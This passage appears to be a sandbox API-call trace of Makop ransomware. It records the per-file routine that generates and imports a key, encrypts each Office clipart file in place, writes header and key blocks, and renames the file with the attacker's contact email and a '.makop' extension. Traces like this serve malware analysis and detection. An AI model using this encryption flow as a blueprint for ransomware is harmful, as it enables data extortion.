[0125.472] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0125.472] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0125.472] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0125.472] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.472] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.472] GetProcessHeap () returned 0x48a0000 [0125.472] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0125.472] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0125.472] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.472] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0125.477] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0125.477] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0125.477] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0125.477] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0125.477] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0125.478] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.478] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.478] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.478] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x22b0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x22b0, lpOverlapped=0x0) returned 1 [0125.479] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x22b0, dwBufLen=0x22b0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x22b0) returned 1 [0125.479] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.479] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x22b0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x22b0, lpOverlapped=0x0) returned 1 [0125.480] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.480] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2384, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.480] SetEndOfFile (hFile=0xf0) returned 1 [0125.487] GetProcessHeap () returned 0x48a0000 [0125.488] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0125.488] GetProcessHeap () returned 0x48a0000 [0125.488] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0125.488] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0125.488] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153093.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153093.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0125.489] CloseHandle (hObject=0xf0) returned 1 [0125.489] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe78, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153095.WMF", cAlternateFileName="")) returned 1 [0125.489] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF") returned 63 [0125.489] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153095.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0125.490] GetProcessHeap () returned 0x48a0000 [0125.490] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0125.490] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0125.490] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0125.491] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0125.495] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.495] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.495] GetProcessHeap () returned 0x48a0000 [0125.495] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0125.495] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0125.495] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.495] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0125.496] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0125.496] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0125.496] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0125.496] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0125.496] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0125.496] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.496] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.496] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.497] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xe78, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xe78, lpOverlapped=0x0) returned 1 [0125.497] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe80, dwBufLen=0xe80 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe80) returned 1 [0125.497] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.497] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xe80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xe80, lpOverlapped=0x0) returned 1 [0125.497] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.497] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xf54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.497] SetEndOfFile (hFile=0xf0) returned 1 [0125.505] GetProcessHeap () returned 0x48a0000 [0125.505] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0125.505] GetProcessHeap () returned 0x48a0000 [0125.505] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0125.505] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0125.505] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153095.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153095.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0125.507] CloseHandle (hObject=0xf0) returned 1 [0125.507] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153265.WMF", cAlternateFileName="")) returned 1 [0125.507] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF") returned 63 [0125.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153265.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0125.508] GetProcessHeap () returned 0x48a0000 [0125.508] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0125.508] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0125.508] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0125.508] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.508] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.508] GetProcessHeap () returned 0x48a0000 [0125.509] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0125.509] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0125.509] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.509] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0125.513] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0125.513] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0125.513] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0125.514] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0125.514] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0125.514] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.514] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.514] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.514] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xbc0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xbc0, lpOverlapped=0x0) returned 1 [0125.515] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xbc0, dwBufLen=0xbc0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xbc0) returned 1 [0125.515] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.515] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xbc0, lpOverlapped=0x0) returned 1 [0125.515] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.516] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xc94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.516] SetEndOfFile (hFile=0xf0) returned 1 [0125.522] GetProcessHeap () returned 0x48a0000 [0125.522] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0125.522] GetProcessHeap () returned 0x48a0000 [0125.523] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0125.523] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0125.523] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153265.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153265.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0125.524] CloseHandle (hObject=0xf0) returned 1 [0125.524] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4e80, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153273.WMF", cAlternateFileName="")) returned 1 [0125.524] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF") returned 63 [0125.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153273.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0125.525] GetProcessHeap () returned 0x48a0000 [0125.525] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0125.525] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0125.525] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0125.525] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.525] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.526] GetProcessHeap () returned 0x48a0000 [0125.526] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0125.526] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0125.526] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.526] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0125.530] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0125.530] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0125.531] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0125.531] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0125.531] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0125.531] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0125.531] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0125.531] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.531] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4e80, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4e80, lpOverlapped=0x0) returned 1 [0125.533] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4e80, dwBufLen=0x4e80 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4e80) returned 1 [0125.533] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.533] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4e80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4e80, lpOverlapped=0x0) returned 1 [0125.533] CryptDestroyKey (hKey=0x48c7128) returned 1 [0125.534] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4f54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.534] SetEndOfFile (hFile=0xf0) returned 1 [0125.540] GetProcessHeap () returned 0x48a0000 [0125.540] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0125.541] GetProcessHeap () returned 0x48a0000 [0125.541] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0125.541] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0125.541] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153273.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153273.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0125.542] CloseHandle (hObject=0xf0) returned 1 [0125.542] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8f0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153299.WMF", cAlternateFileName="")) returned 1 [0125.542] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF") returned 63 [0125.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153299.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0125.543] GetProcessHeap () returned 0x48a0000 [0125.543] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0125.543] CryptGenRandom (in: 